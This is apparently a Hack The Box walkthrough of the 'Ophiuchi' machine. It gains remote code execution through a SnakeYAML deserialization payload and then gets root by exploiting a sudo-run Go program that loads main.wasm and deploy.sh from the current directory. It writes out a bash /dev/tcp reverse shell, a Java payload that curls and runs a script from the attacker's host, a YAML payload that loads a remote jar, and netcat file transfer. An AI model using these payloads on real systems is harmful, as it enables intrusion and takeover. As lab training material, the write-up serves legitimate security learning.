HTB-Ophiuchi-Walkthrough

Exploitation Guide for Ophiuchi

Summary:

In this box, we will be exploiting yaml parsing (deserialization) vulnerability to get RCE . Then exploit the misconfigured sudo privilege to gain the root shell.

Enumeration

Nmap

┌──(root💀kali)-[/home/…/ctf/htb/ophiuchi/scans]
└─# nmap -sS -sV -T4 -p- -A 10.10.10.227 -oN nmap_full_syn.txt
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-06-04 22:09 EDT
Stats: 0:11:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 60.21% done; ETC: 22:28 (0:07:30 remaining)
Stats: 0:11:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 60.23% done; ETC: 22:28 (0:07:30 remaining)
Stats: 0:11:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 60.27% done; ETC: 22:27 (0:07:29 remaining)
Nmap scan report for 10.10.10.227
Host is up (0.19s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML

Web Enumeration

Simple Web app (YAML parser ) in port 8080.

Look for YAML parsing vulnerabilities. Below is the resource I found helpful.

We will be exploiting this deserialization vulnerability to get RCE.
Payload we are going to use.

Exploit

According to the exploit we can execute system commands on target machine using the Runtime.getRuntime().exec(). So we will create our own bash script which will give us Reverse shell when executed.
Create bash script revshell.sh with following content.

#!/bin/sh
bash -i >& /dev/tcp/10.10.16.47/4444 0>&1
## modify the ip and port according to your needs

Then start a http server where the script it located. I used python to do this.
python -m SimpleHTTPServer 80

Now We will modify the exploit so it will download our malicious script to the target machine and execute it. Modified part is in BOLD.

package artsploit;import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl <http://10.10.16.47/revshell.sh> -o /tmp/revshell.sh");
Runtime.getRuntime().exec("bash /tmp/revshell.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
...
...

Now since we added the command we want to execute in target machine, we use the following commands to compile and get our payload jar file.

cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Finally insert the following YAML piece into the web parser to get RCE. Also start a netcat listener on the port you chose earlier.

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["<http://10.10.16.47/yaml-payload.jar>"]
]]
]

We will get the shell as user tomcat

If we search for user flag. We see that its on /home/admin/user.txt . We don't have any permission to access it. So lets find a way to escalate our privilege to user admin.

After some enumeration I found the tomcat-users.xml file in which credential of user adminwas written in plain text. The file is at /opt/tomcat/conf

Now that we have the credential we can ssh into the machine and grab that sweet user flag.

Privilege Escalation

Run sudo -lto see if current user any sudo privileges. Seems like user admin can run /usr/bin/go run /opt/wasm-functions/index.go as root without any password.

Check the content of the file.

## Content of index.go
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") { <==========================================
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}

Here, we see that, functions and variables are imported from the main.wasm file and checking the value of the variable f, if it equals 1 we get ready to deploy and execute /bin/sh deploy.sh

They are importing values from main.wasm and executingdeploy.sh whose absolute path is not defined. So we can manipulate these. These files will be read from our current working directory, from where we run the index.gofile.

Create the directory in /tmp. And copy the main.wasm.

Create own deploy.sh and add the command which will give us the shell as root. We can do this in various ways. I will be changing the permission of /bin/bash.

Now if you run the command . We will get not ready to deploy message.

This means the variable f is not equal to 1 in wasm file. We need to change this value.
The text readable format of WASM binary is WAT(Web Assembly Text). We can manipulate the value of f editing the wasm file in this format. So we will change our file format from wasm to wat. To do that lets transfer the file to our machine first. I am using netcat to do that.

# Here's the command 
cat main.wasm | nc {your-ip} {your-port} (on target)
nc -lnvp {your-port} > main.wasm (on local)

Now lets convert it to wat . You can do it using wabt. You can download in kali using apt install wabt . You can also download and compile the binary from here:

WebAssembly/wabt

After converting the wasm file we can see the following. we see that the value of f is a 0, we need to change it to 1.

Edit using any text editor. After changing the value convert it to wasm again using wat2wasm

Extra:

If you dont want to do this. You can copy the following line to the site mentioned below and download the wasm file.
wat2wasm demo

  (type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 1)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))

Now transfer the file to target machine. Remove the previous wasm file before transferring to prevent any errors. I am using scp to transfer the file.

Now we have everything ready. Just execute the command and our privilege will be escalated to root. As you can see we get ready to deploy message. This means it also executed our malicious deploy.sh script.

Since I changed the permission of /bin/bash I can just do /bin/bash -p and I will get the shell as root.

OSCP | CTF | HTB | LEARNER